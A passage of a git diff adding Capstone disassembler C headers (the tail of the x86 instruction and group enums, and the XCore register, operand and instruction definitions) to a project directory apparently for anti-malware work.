X86_INS_VANDPS, + X86_INS_VBLENDMPD, + X86_INS_VBLENDMPS, + X86_INS_VBLENDPD, + X86_INS_VBLENDPS, + X86_INS_VBLENDVPD, + X86_INS_VBLENDVPS, + X86_INS_VBROADCASTF128, + X86_INS_VBROADCASTI32X4, + X86_INS_VBROADCASTI64X4, + X86_INS_VBROADCASTSD, + X86_INS_VBROADCASTSS, + X86_INS_VCOMPRESSPD, + X86_INS_VCOMPRESSPS, + X86_INS_VCVTDQ2PD, + X86_INS_VCVTDQ2PS, + X86_INS_VCVTPD2DQX, + X86_INS_VCVTPD2DQ, + X86_INS_VCVTPD2PSX, + X86_INS_VCVTPD2PS, + X86_INS_VCVTPD2UDQ, + X86_INS_VCVTPH2PS, + X86_INS_VCVTPS2DQ, + X86_INS_VCVTPS2PD, + X86_INS_VCVTPS2PH, + X86_INS_VCVTPS2UDQ, + X86_INS_VCVTSD2SI, + X86_INS_VCVTSD2USI, + X86_INS_VCVTSS2SI, + X86_INS_VCVTSS2USI, + X86_INS_VCVTTPD2DQX, + X86_INS_VCVTTPD2DQ, + X86_INS_VCVTTPD2UDQ, + X86_INS_VCVTTPS2DQ, + X86_INS_VCVTTPS2UDQ, + X86_INS_VCVTUDQ2PD, + X86_INS_VCVTUDQ2PS, + X86_INS_VDIVPD, + X86_INS_VDIVPS, + X86_INS_VDIVSD, + X86_INS_VDIVSS, + X86_INS_VDPPD, + X86_INS_VDPPS, + X86_INS_VERR, + X86_INS_VERW, + X86_INS_VEXP2PD, + X86_INS_VEXP2PS, + X86_INS_VEXPANDPD, + X86_INS_VEXPANDPS, + X86_INS_VEXTRACTF128, + X86_INS_VEXTRACTF32X4, + X86_INS_VEXTRACTF64X4, + X86_INS_VEXTRACTI128, + X86_INS_VEXTRACTI32X4, + X86_INS_VEXTRACTI64X4, + X86_INS_VEXTRACTPS, + X86_INS_VFMADD132PD, + X86_INS_VFMADD132PS, + X86_INS_VFMADDPD, + X86_INS_VFMADD213PD, + X86_INS_VFMADD231PD, + X86_INS_VFMADDPS, + X86_INS_VFMADD213PS, + X86_INS_VFMADD231PS, + X86_INS_VFMADDSD, + X86_INS_VFMADD213SD, + X86_INS_VFMADD132SD, + X86_INS_VFMADD231SD, + X86_INS_VFMADDSS, + X86_INS_VFMADD213SS, + X86_INS_VFMADD132SS, + X86_INS_VFMADD231SS, + X86_INS_VFMADDSUB132PD, + X86_INS_VFMADDSUB132PS, + X86_INS_VFMADDSUBPD, + X86_INS_VFMADDSUB213PD, + X86_INS_VFMADDSUB231PD, + X86_INS_VFMADDSUBPS, + X86_INS_VFMADDSUB213PS, + X86_INS_VFMADDSUB231PS, + X86_INS_VFMSUB132PD, + X86_INS_VFMSUB132PS, + X86_INS_VFMSUBADD132PD, + X86_INS_VFMSUBADD132PS, + X86_INS_VFMSUBADDPD, + X86_INS_VFMSUBADD213PD, + X86_INS_VFMSUBADD231PD, + X86_INS_VFMSUBADDPS, + X86_INS_VFMSUBADD213PS, + X86_INS_VFMSUBADD231PS, + X86_INS_VFMSUBPD, + X86_INS_VFMSUB213PD, + X86_INS_VFMSUB231PD, + X86_INS_VFMSUBPS, + X86_INS_VFMSUB213PS, + X86_INS_VFMSUB231PS, + X86_INS_VFMSUBSD, + X86_INS_VFMSUB213SD, + X86_INS_VFMSUB132SD, + X86_INS_VFMSUB231SD, + X86_INS_VFMSUBSS, + X86_INS_VFMSUB213SS, + X86_INS_VFMSUB132SS, + X86_INS_VFMSUB231SS, + X86_INS_VFNMADD132PD, + X86_INS_VFNMADD132PS, + X86_INS_VFNMADDPD, + X86_INS_VFNMADD213PD, + X86_INS_VFNMADD231PD, + X86_INS_VFNMADDPS, + X86_INS_VFNMADD213PS, + X86_INS_VFNMADD231PS, + X86_INS_VFNMADDSD, + X86_INS_VFNMADD213SD, + X86_INS_VFNMADD132SD, + X86_INS_VFNMADD231SD, + X86_INS_VFNMADDSS, + X86_INS_VFNMADD213SS, + X86_INS_VFNMADD132SS, + X86_INS_VFNMADD231SS, + X86_INS_VFNMSUB132PD, + X86_INS_VFNMSUB132PS, + X86_INS_VFNMSUBPD, + X86_INS_VFNMSUB213PD, + X86_INS_VFNMSUB231PD, + X86_INS_VFNMSUBPS, + X86_INS_VFNMSUB213PS, + X86_INS_VFNMSUB231PS, + X86_INS_VFNMSUBSD, + X86_INS_VFNMSUB213SD, + X86_INS_VFNMSUB132SD, + X86_INS_VFNMSUB231SD, + X86_INS_VFNMSUBSS, + X86_INS_VFNMSUB213SS, + X86_INS_VFNMSUB132SS, + X86_INS_VFNMSUB231SS, + X86_INS_VFRCZPD, + X86_INS_VFRCZPS, + X86_INS_VFRCZSD, + X86_INS_VFRCZSS, + X86_INS_VORPD, + X86_INS_VORPS, + X86_INS_VXORPD, + X86_INS_VXORPS, + X86_INS_VGATHERDPD, + X86_INS_VGATHERDPS, + X86_INS_VGATHERPF0DPD, + X86_INS_VGATHERPF0DPS, + X86_INS_VGATHERPF0QPD, + X86_INS_VGATHERPF0QPS, + X86_INS_VGATHERPF1DPD, + X86_INS_VGATHERPF1DPS, + X86_INS_VGATHERPF1QPD, + X86_INS_VGATHERPF1QPS, + X86_INS_VGATHERQPD, + X86_INS_VGATHERQPS, + X86_INS_VHADDPD, + X86_INS_VHADDPS, + X86_INS_VHSUBPD, + X86_INS_VHSUBPS, + X86_INS_VINSERTF128, + X86_INS_VINSERTF32X4, + X86_INS_VINSERTF32X8, + X86_INS_VINSERTF64X2, + X86_INS_VINSERTF64X4, + X86_INS_VINSERTI128, + X86_INS_VINSERTI32X4, + X86_INS_VINSERTI32X8, + X86_INS_VINSERTI64X2, + X86_INS_VINSERTI64X4, + X86_INS_VINSERTPS, + X86_INS_VLDDQU, + X86_INS_VLDMXCSR, + X86_INS_VMASKMOVDQU, + X86_INS_VMASKMOVPD, + X86_INS_VMASKMOVPS, + X86_INS_VMAXPD, + X86_INS_VMAXPS, + X86_INS_VMAXSD, + X86_INS_VMAXSS, + X86_INS_VMCALL, + X86_INS_VMCLEAR, + X86_INS_VMFUNC, + X86_INS_VMINPD, + X86_INS_VMINPS, + X86_INS_VMINSD, + X86_INS_VMINSS, + X86_INS_VMLAUNCH, + X86_INS_VMLOAD, + X86_INS_VMMCALL, + X86_INS_VMOVQ, + X86_INS_VMOVDDUP, + X86_INS_VMOVD, + X86_INS_VMOVDQA32, + X86_INS_VMOVDQA64, + X86_INS_VMOVDQA, + X86_INS_VMOVDQU16, + X86_INS_VMOVDQU32, + X86_INS_VMOVDQU64, + X86_INS_VMOVDQU8, + X86_INS_VMOVDQU, + X86_INS_VMOVHLPS, + X86_INS_VMOVHPD, + X86_INS_VMOVHPS, + X86_INS_VMOVLHPS, + X86_INS_VMOVLPD, + X86_INS_VMOVLPS, + X86_INS_VMOVMSKPD, + X86_INS_VMOVMSKPS, + X86_INS_VMOVNTDQA, + X86_INS_VMOVNTDQ, + X86_INS_VMOVNTPD, + X86_INS_VMOVNTPS, + X86_INS_VMOVSD, + X86_INS_VMOVSHDUP, + X86_INS_VMOVSLDUP, + X86_INS_VMOVSS, + X86_INS_VMOVUPD, + X86_INS_VMOVUPS, + X86_INS_VMPSADBW, + X86_INS_VMPTRLD, + X86_INS_VMPTRST, + X86_INS_VMREAD, + X86_INS_VMRESUME, + X86_INS_VMRUN, + X86_INS_VMSAVE, + X86_INS_VMULPD, + X86_INS_VMULPS, + X86_INS_VMULSD, + X86_INS_VMULSS, + X86_INS_VMWRITE, + X86_INS_VMXOFF, + X86_INS_VMXON, + X86_INS_VPABSB, + X86_INS_VPABSD, + X86_INS_VPABSQ, + X86_INS_VPABSW, + X86_INS_VPACKSSDW, + X86_INS_VPACKSSWB, + X86_INS_VPACKUSDW, + X86_INS_VPACKUSWB, + X86_INS_VPADDB, + X86_INS_VPADDD, + X86_INS_VPADDQ, + X86_INS_VPADDSB, + X86_INS_VPADDSW, + X86_INS_VPADDUSB, + X86_INS_VPADDUSW, + X86_INS_VPADDW, + X86_INS_VPALIGNR, + X86_INS_VPANDD, + X86_INS_VPANDND, + X86_INS_VPANDNQ, + X86_INS_VPANDN, + X86_INS_VPANDQ, + X86_INS_VPAND, + X86_INS_VPAVGB, + X86_INS_VPAVGW, + X86_INS_VPBLENDD, + X86_INS_VPBLENDMB, + X86_INS_VPBLENDMD, + X86_INS_VPBLENDMQ, + X86_INS_VPBLENDMW, + X86_INS_VPBLENDVB, + X86_INS_VPBLENDW, + X86_INS_VPBROADCASTB, + X86_INS_VPBROADCASTD, + X86_INS_VPBROADCASTMB2Q, + X86_INS_VPBROADCASTMW2D, + X86_INS_VPBROADCASTQ, + X86_INS_VPBROADCASTW, + X86_INS_VPCLMULQDQ, + X86_INS_VPCMOV, + X86_INS_VPCMPB, + X86_INS_VPCMPD, + X86_INS_VPCMPEQB, + X86_INS_VPCMPEQD, + X86_INS_VPCMPEQQ, + X86_INS_VPCMPEQW, + X86_INS_VPCMPESTRI, + X86_INS_VPCMPESTRM, + X86_INS_VPCMPGTB, + X86_INS_VPCMPGTD, + X86_INS_VPCMPGTQ, + X86_INS_VPCMPGTW, + X86_INS_VPCMPISTRI, + X86_INS_VPCMPISTRM, + X86_INS_VPCMPQ, + X86_INS_VPCMPUB, + X86_INS_VPCMPUD, + X86_INS_VPCMPUQ, + X86_INS_VPCMPUW, + X86_INS_VPCMPW, + X86_INS_VPCOMB, + X86_INS_VPCOMD, + X86_INS_VPCOMPRESSD, + X86_INS_VPCOMPRESSQ, + X86_INS_VPCOMQ, + X86_INS_VPCOMUB, + X86_INS_VPCOMUD, + X86_INS_VPCOMUQ, + X86_INS_VPCOMUW, + X86_INS_VPCOMW, + X86_INS_VPCONFLICTD, + X86_INS_VPCONFLICTQ, + X86_INS_VPERM2F128, + X86_INS_VPERM2I128, + X86_INS_VPERMD, + X86_INS_VPERMI2D, + X86_INS_VPERMI2PD, + X86_INS_VPERMI2PS, + X86_INS_VPERMI2Q, + X86_INS_VPERMIL2PD, + X86_INS_VPERMIL2PS, + X86_INS_VPERMILPD, + X86_INS_VPERMILPS, + X86_INS_VPERMPD, + X86_INS_VPERMPS, + X86_INS_VPERMQ, + X86_INS_VPERMT2D, + X86_INS_VPERMT2PD, + X86_INS_VPERMT2PS, + X86_INS_VPERMT2Q, + X86_INS_VPEXPANDD, + X86_INS_VPEXPANDQ, + X86_INS_VPEXTRB, + X86_INS_VPEXTRD, + X86_INS_VPEXTRQ, + X86_INS_VPEXTRW, + X86_INS_VPGATHERDD, + X86_INS_VPGATHERDQ, + X86_INS_VPGATHERQD, + X86_INS_VPGATHERQQ, + X86_INS_VPHADDBD, + X86_INS_VPHADDBQ, + X86_INS_VPHADDBW, + X86_INS_VPHADDDQ, + X86_INS_VPHADDD, + X86_INS_VPHADDSW, + X86_INS_VPHADDUBD, + X86_INS_VPHADDUBQ, + X86_INS_VPHADDUBW, + X86_INS_VPHADDUDQ, + X86_INS_VPHADDUWD, + X86_INS_VPHADDUWQ, + X86_INS_VPHADDWD, + X86_INS_VPHADDWQ, + X86_INS_VPHADDW, + X86_INS_VPHMINPOSUW, + X86_INS_VPHSUBBW, + X86_INS_VPHSUBDQ, + X86_INS_VPHSUBD, + X86_INS_VPHSUBSW, + X86_INS_VPHSUBWD, + X86_INS_VPHSUBW, + X86_INS_VPINSRB, + X86_INS_VPINSRD, + X86_INS_VPINSRQ, + X86_INS_VPINSRW, + X86_INS_VPLZCNTD, + X86_INS_VPLZCNTQ, + X86_INS_VPMACSDD, + X86_INS_VPMACSDQH, + X86_INS_VPMACSDQL, + X86_INS_VPMACSSDD, + X86_INS_VPMACSSDQH, + X86_INS_VPMACSSDQL, + X86_INS_VPMACSSWD, + X86_INS_VPMACSSWW, + X86_INS_VPMACSWD, + X86_INS_VPMACSWW, + X86_INS_VPMADCSSWD, + X86_INS_VPMADCSWD, + X86_INS_VPMADDUBSW, + X86_INS_VPMADDWD, + X86_INS_VPMASKMOVD, + X86_INS_VPMASKMOVQ, + X86_INS_VPMAXSB, + X86_INS_VPMAXSD, + X86_INS_VPMAXSQ, + X86_INS_VPMAXSW, + X86_INS_VPMAXUB, + X86_INS_VPMAXUD, + X86_INS_VPMAXUQ, + X86_INS_VPMAXUW, + X86_INS_VPMINSB, + X86_INS_VPMINSD, + X86_INS_VPMINSQ, + X86_INS_VPMINSW, + X86_INS_VPMINUB, + X86_INS_VPMINUD, + X86_INS_VPMINUQ, + X86_INS_VPMINUW, + X86_INS_VPMOVDB, + X86_INS_VPMOVDW, + X86_INS_VPMOVM2B, + X86_INS_VPMOVM2D, + X86_INS_VPMOVM2Q, + X86_INS_VPMOVM2W, + X86_INS_VPMOVMSKB, + X86_INS_VPMOVQB, + X86_INS_VPMOVQD, + X86_INS_VPMOVQW, + X86_INS_VPMOVSDB, + X86_INS_VPMOVSDW, + X86_INS_VPMOVSQB, + X86_INS_VPMOVSQD, + X86_INS_VPMOVSQW, + X86_INS_VPMOVSXBD, + X86_INS_VPMOVSXBQ, + X86_INS_VPMOVSXBW, + X86_INS_VPMOVSXDQ, + X86_INS_VPMOVSXWD, + X86_INS_VPMOVSXWQ, + X86_INS_VPMOVUSDB, + X86_INS_VPMOVUSDW, + X86_INS_VPMOVUSQB, + X86_INS_VPMOVUSQD, + X86_INS_VPMOVUSQW, + X86_INS_VPMOVZXBD, + X86_INS_VPMOVZXBQ, + X86_INS_VPMOVZXBW, + X86_INS_VPMOVZXDQ, + X86_INS_VPMOVZXWD, + X86_INS_VPMOVZXWQ, + X86_INS_VPMULDQ, + X86_INS_VPMULHRSW, + X86_INS_VPMULHUW, + X86_INS_VPMULHW, + X86_INS_VPMULLD, + X86_INS_VPMULLQ, + X86_INS_VPMULLW, + X86_INS_VPMULUDQ, + X86_INS_VPORD, + X86_INS_VPORQ, + X86_INS_VPOR, + X86_INS_VPPERM, + X86_INS_VPROTB, + X86_INS_VPROTD, + X86_INS_VPROTQ, + X86_INS_VPROTW, + X86_INS_VPSADBW, + X86_INS_VPSCATTERDD, + X86_INS_VPSCATTERDQ, + X86_INS_VPSCATTERQD, + X86_INS_VPSCATTERQQ, + X86_INS_VPSHAB, + X86_INS_VPSHAD, + X86_INS_VPSHAQ, + X86_INS_VPSHAW, + X86_INS_VPSHLB, + X86_INS_VPSHLD, + X86_INS_VPSHLQ, + X86_INS_VPSHLW, + X86_INS_VPSHUFB, + X86_INS_VPSHUFD, + X86_INS_VPSHUFHW, + X86_INS_VPSHUFLW, + X86_INS_VPSIGNB, + X86_INS_VPSIGND, + X86_INS_VPSIGNW, + X86_INS_VPSLLDQ, + X86_INS_VPSLLD, + X86_INS_VPSLLQ, + X86_INS_VPSLLVD, + X86_INS_VPSLLVQ, + X86_INS_VPSLLW, + X86_INS_VPSRAD, + X86_INS_VPSRAQ, + X86_INS_VPSRAVD, + X86_INS_VPSRAVQ, + X86_INS_VPSRAW, + X86_INS_VPSRLDQ, + X86_INS_VPSRLD, + X86_INS_VPSRLQ, + X86_INS_VPSRLVD, + X86_INS_VPSRLVQ, + X86_INS_VPSRLW, + X86_INS_VPSUBB, + X86_INS_VPSUBD, + X86_INS_VPSUBQ, + X86_INS_VPSUBSB, + X86_INS_VPSUBSW, + X86_INS_VPSUBUSB, + X86_INS_VPSUBUSW, + X86_INS_VPSUBW, + X86_INS_VPTESTMD, + X86_INS_VPTESTMQ, + X86_INS_VPTESTNMD, + X86_INS_VPTESTNMQ, + X86_INS_VPTEST, + X86_INS_VPUNPCKHBW, + X86_INS_VPUNPCKHDQ, + X86_INS_VPUNPCKHQDQ, + X86_INS_VPUNPCKHWD, + X86_INS_VPUNPCKLBW, + X86_INS_VPUNPCKLDQ, + X86_INS_VPUNPCKLQDQ, + X86_INS_VPUNPCKLWD, + X86_INS_VPXORD, + X86_INS_VPXORQ, + X86_INS_VPXOR, + X86_INS_VRCP14PD, + X86_INS_VRCP14PS, + X86_INS_VRCP14SD, + X86_INS_VRCP14SS, + X86_INS_VRCP28PD, + X86_INS_VRCP28PS, + X86_INS_VRCP28SD, + X86_INS_VRCP28SS, + X86_INS_VRCPPS, + X86_INS_VRCPSS, + X86_INS_VRNDSCALEPD, + X86_INS_VRNDSCALEPS, + X86_INS_VRNDSCALESD, + X86_INS_VRNDSCALESS, + X86_INS_VROUNDPD, + X86_INS_VROUNDPS, + X86_INS_VROUNDSD, + X86_INS_VROUNDSS, + X86_INS_VRSQRT14PD, + X86_INS_VRSQRT14PS, + X86_INS_VRSQRT14SD, + X86_INS_VRSQRT14SS, + X86_INS_VRSQRT28PD, + X86_INS_VRSQRT28PS, + X86_INS_VRSQRT28SD, + X86_INS_VRSQRT28SS, + X86_INS_VRSQRTPS, + X86_INS_VRSQRTSS, + X86_INS_VSCATTERDPD, + X86_INS_VSCATTERDPS, + X86_INS_VSCATTERPF0DPD, + X86_INS_VSCATTERPF0DPS, + X86_INS_VSCATTERPF0QPD, + X86_INS_VSCATTERPF0QPS, + X86_INS_VSCATTERPF1DPD, + X86_INS_VSCATTERPF1DPS, + X86_INS_VSCATTERPF1QPD, + X86_INS_VSCATTERPF1QPS, + X86_INS_VSCATTERQPD, + X86_INS_VSCATTERQPS, + X86_INS_VSHUFPD, + X86_INS_VSHUFPS, + X86_INS_VSQRTPD, + X86_INS_VSQRTPS, + X86_INS_VSQRTSD, + X86_INS_VSQRTSS, + X86_INS_VSTMXCSR, + X86_INS_VSUBPD, + X86_INS_VSUBPS, + X86_INS_VSUBSD, + X86_INS_VSUBSS, + X86_INS_VTESTPD, + X86_INS_VTESTPS, + X86_INS_VUNPCKHPD, + X86_INS_VUNPCKHPS, + X86_INS_VUNPCKLPD, + X86_INS_VUNPCKLPS, + X86_INS_VZEROALL, + X86_INS_VZEROUPPER, + X86_INS_WAIT, + X86_INS_WBINVD, + X86_INS_WRFSBASE, + X86_INS_WRGSBASE, + X86_INS_WRMSR, + X86_INS_XABORT, + X86_INS_XACQUIRE, + X86_INS_XBEGIN, + X86_INS_XCHG, + X86_INS_XCRYPTCBC, + X86_INS_XCRYPTCFB, + X86_INS_XCRYPTCTR, + X86_INS_XCRYPTECB, + X86_INS_XCRYPTOFB, + X86_INS_XEND, + X86_INS_XGETBV, + X86_INS_XLATB, + X86_INS_XRELEASE, + X86_INS_XRSTOR, + X86_INS_XRSTOR64, + X86_INS_XRSTORS, + X86_INS_XRSTORS64, + X86_INS_XSAVE, + X86_INS_XSAVE64, + X86_INS_XSAVEC, + X86_INS_XSAVEC64, + X86_INS_XSAVEOPT, + X86_INS_XSAVEOPT64, + X86_INS_XSAVES, + X86_INS_XSAVES64, + X86_INS_XSETBV, + X86_INS_XSHA1, + X86_INS_XSHA256, + X86_INS_XSTORE, + X86_INS_XTEST, + X86_INS_FDISI8087_NOP, + X86_INS_FENI8087_NOP, + + // pseudo instructions + X86_INS_CMPSS, + X86_INS_CMPEQSS, + X86_INS_CMPLTSS, + X86_INS_CMPLESS, + X86_INS_CMPUNORDSS, + X86_INS_CMPNEQSS, + X86_INS_CMPNLTSS, + X86_INS_CMPNLESS, + X86_INS_CMPORDSS, + + X86_INS_CMPSD, + X86_INS_CMPEQSD, + X86_INS_CMPLTSD, + X86_INS_CMPLESD, + X86_INS_CMPUNORDSD, + X86_INS_CMPNEQSD, + X86_INS_CMPNLTSD, + X86_INS_CMPNLESD, + X86_INS_CMPORDSD, + + X86_INS_CMPPS, + X86_INS_CMPEQPS, + X86_INS_CMPLTPS, + X86_INS_CMPLEPS, + X86_INS_CMPUNORDPS, + X86_INS_CMPNEQPS, + X86_INS_CMPNLTPS, + X86_INS_CMPNLEPS, + X86_INS_CMPORDPS, + + X86_INS_CMPPD, + X86_INS_CMPEQPD, + X86_INS_CMPLTPD, + X86_INS_CMPLEPD, + X86_INS_CMPUNORDPD, + X86_INS_CMPNEQPD, + X86_INS_CMPNLTPD, + X86_INS_CMPNLEPD, + X86_INS_CMPORDPD, + + X86_INS_VCMPSS, + X86_INS_VCMPEQSS, + X86_INS_VCMPLTSS, + X86_INS_VCMPLESS, + X86_INS_VCMPUNORDSS, + X86_INS_VCMPNEQSS, + X86_INS_VCMPNLTSS, + X86_INS_VCMPNLESS, + X86_INS_VCMPORDSS, + X86_INS_VCMPEQ_UQSS, + X86_INS_VCMPNGESS, + X86_INS_VCMPNGTSS, + X86_INS_VCMPFALSESS, + X86_INS_VCMPNEQ_OQSS, + X86_INS_VCMPGESS, + X86_INS_VCMPGTSS, + X86_INS_VCMPTRUESS, + X86_INS_VCMPEQ_OSSS, + X86_INS_VCMPLT_OQSS, + X86_INS_VCMPLE_OQSS, + X86_INS_VCMPUNORD_SSS, + X86_INS_VCMPNEQ_USSS, + X86_INS_VCMPNLT_UQSS, + X86_INS_VCMPNLE_UQSS, + X86_INS_VCMPORD_SSS, + X86_INS_VCMPEQ_USSS, + X86_INS_VCMPNGE_UQSS, + X86_INS_VCMPNGT_UQSS, + X86_INS_VCMPFALSE_OSSS, + X86_INS_VCMPNEQ_OSSS, + X86_INS_VCMPGE_OQSS, + X86_INS_VCMPGT_OQSS, + X86_INS_VCMPTRUE_USSS, + + X86_INS_VCMPSD, + X86_INS_VCMPEQSD, + X86_INS_VCMPLTSD, + X86_INS_VCMPLESD, + X86_INS_VCMPUNORDSD, + X86_INS_VCMPNEQSD, + X86_INS_VCMPNLTSD, + X86_INS_VCMPNLESD, + X86_INS_VCMPORDSD, + X86_INS_VCMPEQ_UQSD, + X86_INS_VCMPNGESD, + X86_INS_VCMPNGTSD, + X86_INS_VCMPFALSESD, + X86_INS_VCMPNEQ_OQSD, + X86_INS_VCMPGESD, + X86_INS_VCMPGTSD, + X86_INS_VCMPTRUESD, + X86_INS_VCMPEQ_OSSD, + X86_INS_VCMPLT_OQSD, + X86_INS_VCMPLE_OQSD, + X86_INS_VCMPUNORD_SSD, + X86_INS_VCMPNEQ_USSD, + X86_INS_VCMPNLT_UQSD, + X86_INS_VCMPNLE_UQSD, + X86_INS_VCMPORD_SSD, + X86_INS_VCMPEQ_USSD, + X86_INS_VCMPNGE_UQSD, + X86_INS_VCMPNGT_UQSD, + X86_INS_VCMPFALSE_OSSD, + X86_INS_VCMPNEQ_OSSD, + X86_INS_VCMPGE_OQSD, + X86_INS_VCMPGT_OQSD, + X86_INS_VCMPTRUE_USSD, + + X86_INS_VCMPPS, + X86_INS_VCMPEQPS, + X86_INS_VCMPLTPS, + X86_INS_VCMPLEPS, + X86_INS_VCMPUNORDPS, + X86_INS_VCMPNEQPS, + X86_INS_VCMPNLTPS, + X86_INS_VCMPNLEPS, + X86_INS_VCMPORDPS, + X86_INS_VCMPEQ_UQPS, + X86_INS_VCMPNGEPS, + X86_INS_VCMPNGTPS, + X86_INS_VCMPFALSEPS, + X86_INS_VCMPNEQ_OQPS, + X86_INS_VCMPGEPS, + X86_INS_VCMPGTPS, + X86_INS_VCMPTRUEPS, + X86_INS_VCMPEQ_OSPS, + X86_INS_VCMPLT_OQPS, + X86_INS_VCMPLE_OQPS, + X86_INS_VCMPUNORD_SPS, + X86_INS_VCMPNEQ_USPS, + X86_INS_VCMPNLT_UQPS, + X86_INS_VCMPNLE_UQPS, + X86_INS_VCMPORD_SPS, + X86_INS_VCMPEQ_USPS, + X86_INS_VCMPNGE_UQPS, + X86_INS_VCMPNGT_UQPS, + X86_INS_VCMPFALSE_OSPS, + X86_INS_VCMPNEQ_OSPS, + X86_INS_VCMPGE_OQPS, + X86_INS_VCMPGT_OQPS, + X86_INS_VCMPTRUE_USPS, + + X86_INS_VCMPPD, + X86_INS_VCMPEQPD, + X86_INS_VCMPLTPD, + X86_INS_VCMPLEPD, + X86_INS_VCMPUNORDPD, + X86_INS_VCMPNEQPD, + X86_INS_VCMPNLTPD, + X86_INS_VCMPNLEPD, + X86_INS_VCMPORDPD, + X86_INS_VCMPEQ_UQPD, + X86_INS_VCMPNGEPD, + X86_INS_VCMPNGTPD, + X86_INS_VCMPFALSEPD, + X86_INS_VCMPNEQ_OQPD, + X86_INS_VCMPGEPD, + X86_INS_VCMPGTPD, + X86_INS_VCMPTRUEPD, + X86_INS_VCMPEQ_OSPD, + X86_INS_VCMPLT_OQPD, + X86_INS_VCMPLE_OQPD, + X86_INS_VCMPUNORD_SPD, + X86_INS_VCMPNEQ_USPD, + X86_INS_VCMPNLT_UQPD, + X86_INS_VCMPNLE_UQPD, + X86_INS_VCMPORD_SPD, + X86_INS_VCMPEQ_USPD, + X86_INS_VCMPNGE_UQPD, + X86_INS_VCMPNGT_UQPD, + X86_INS_VCMPFALSE_OSPD, + X86_INS_VCMPNEQ_OSPD, + X86_INS_VCMPGE_OQPD, + X86_INS_VCMPGT_OQPD, + X86_INS_VCMPTRUE_USPD, + + X86_INS_UD0, + X86_INS_ENDBR32, + X86_INS_ENDBR64, + + X86_INS_ENDING, // mark the end of the list of insn +} x86_insn; + +/// Group of X86 instructions +typedef enum x86_insn_group { + X86_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + X86_GRP_JUMP, ///< = CS_GRP_JUMP + // all call instructions + X86_GRP_CALL, ///< = CS_GRP_CALL + // all return instructions + X86_GRP_RET, ///< = CS_GRP_RET + // all interrupt instructions (int+syscall) + X86_GRP_INT, ///< = CS_GRP_INT + // all interrupt return instructions + X86_GRP_IRET, ///< = CS_GRP_IRET + // all privileged instructions + X86_GRP_PRIVILEGE, ///< = CS_GRP_PRIVILEGE + // all relative branching instructions + X86_GRP_BRANCH_RELATIVE, ///< = CS_GRP_BRANCH_RELATIVE + + // Architecture-specific groups + X86_GRP_VM = 128, ///< all virtualization instructions (VT-x + AMD-V) + X86_GRP_3DNOW, + X86_GRP_AES, + X86_GRP_ADX, + X86_GRP_AVX, + X86_GRP_AVX2, + X86_GRP_AVX512, + X86_GRP_BMI, + X86_GRP_BMI2, + X86_GRP_CMOV, + X86_GRP_F16C, + X86_GRP_FMA, + X86_GRP_FMA4, + X86_GRP_FSGSBASE, + X86_GRP_HLE, + X86_GRP_MMX, + X86_GRP_MODE32, + X86_GRP_MODE64, + X86_GRP_RTM, + X86_GRP_SHA, + X86_GRP_SSE1, + X86_GRP_SSE2, + X86_GRP_SSE3, + X86_GRP_SSE41, + X86_GRP_SSE42, + X86_GRP_SSE4A, + X86_GRP_SSSE3, + X86_GRP_PCLMUL, + X86_GRP_XOP, + X86_GRP_CDI, + X86_GRP_ERI, + X86_GRP_TBM, + X86_GRP_16BITMODE, + X86_GRP_NOT64BITMODE, + X86_GRP_SGX, + X86_GRP_DQI, + X86_GRP_BWI, + X86_GRP_PFI, + X86_GRP_VLX, + X86_GRP_SMAP, + X86_GRP_NOVLX, + X86_GRP_FPU, + + X86_GRP_ENDING +} x86_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/xcore.h b/ai_anti_malware/capstone/include/capstone/xcore.h new file mode 100644 index 0000000..6db1f24 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/xcore.h @@ -0,0 +1,235 @@ +#ifndef CAPSTONE_XCORE_H +#define CAPSTONE_XCORE_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2014-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// Operand type for instruction's operands +typedef enum xcore_op_type { + XCORE_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + XCORE_OP_REG, ///< = CS_OP_REG (Register operand). + XCORE_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + XCORE_OP_MEM, ///< = CS_OP_MEM (Memory operand). +} xcore_op_type; + +/// XCore registers +typedef enum xcore_reg { + XCORE_REG_INVALID = 0, + + XCORE_REG_CP, + XCORE_REG_DP, + XCORE_REG_LR, + XCORE_REG_SP, + XCORE_REG_R0, + XCORE_REG_R1, + XCORE_REG_R2, + XCORE_REG_R3, + XCORE_REG_R4, + XCORE_REG_R5, + XCORE_REG_R6, + XCORE_REG_R7, + XCORE_REG_R8, + XCORE_REG_R9, + XCORE_REG_R10, + XCORE_REG_R11, + + // pseudo registers + XCORE_REG_PC, ///< pc + + // internal thread registers + // see The-XMOS-XS1-Architecture(X7879A).pdf + XCORE_REG_SCP, ///< save pc + XCORE_REG_SSR, //< save status + XCORE_REG_ET, //< exception type + XCORE_REG_ED, //< exception data + XCORE_REG_SED, //< save exception data + XCORE_REG_KEP, //< kernel entry pointer + XCORE_REG_KSP, //< kernel stack pointer + XCORE_REG_ID, //< thread ID + + XCORE_REG_ENDING, // <-- mark the end of the list of registers +} xcore_reg; + +/// Instruction's operand referring to memory +/// This is associated with XCORE_OP_MEM operand type above +typedef struct xcore_op_mem { + uint8_t base; ///< base register, can be safely interpreted as + ///< a value of type `xcore_reg`, but it is only + ///< one byte wide + uint8_t index; ///< index register, same conditions apply here + int32_t disp; ///< displacement/offset value + int direct; ///< +1: forward, -1: backward +} xcore_op_mem; + +/// Instruction operand +typedef struct cs_xcore_op { + xcore_op_type type; ///< operand type + union { + xcore_reg reg; ///< register value for REG operand + int32_t imm; ///< immediate value for IMM operand + xcore_op_mem mem; ///< base/disp value for MEM operand + }; +} cs_xcore_op; + +/// Instruction structure +typedef struct cs_xcore { + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + cs_xcore_op operands[8]; ///< operands for this instruction. +} cs_xcore; + +/// XCore instruction +typedef enum xcore_insn { + XCORE_INS_INVALID = 0, + + XCORE_INS_ADD, + XCORE_INS_ANDNOT, + XCORE_INS_AND, + XCORE_INS_ASHR, + XCORE_INS_BAU, + XCORE_INS_BITREV, + XCORE_INS_BLA, + XCORE_INS_BLAT, + XCORE_INS_BL, + XCORE_INS_BF, + 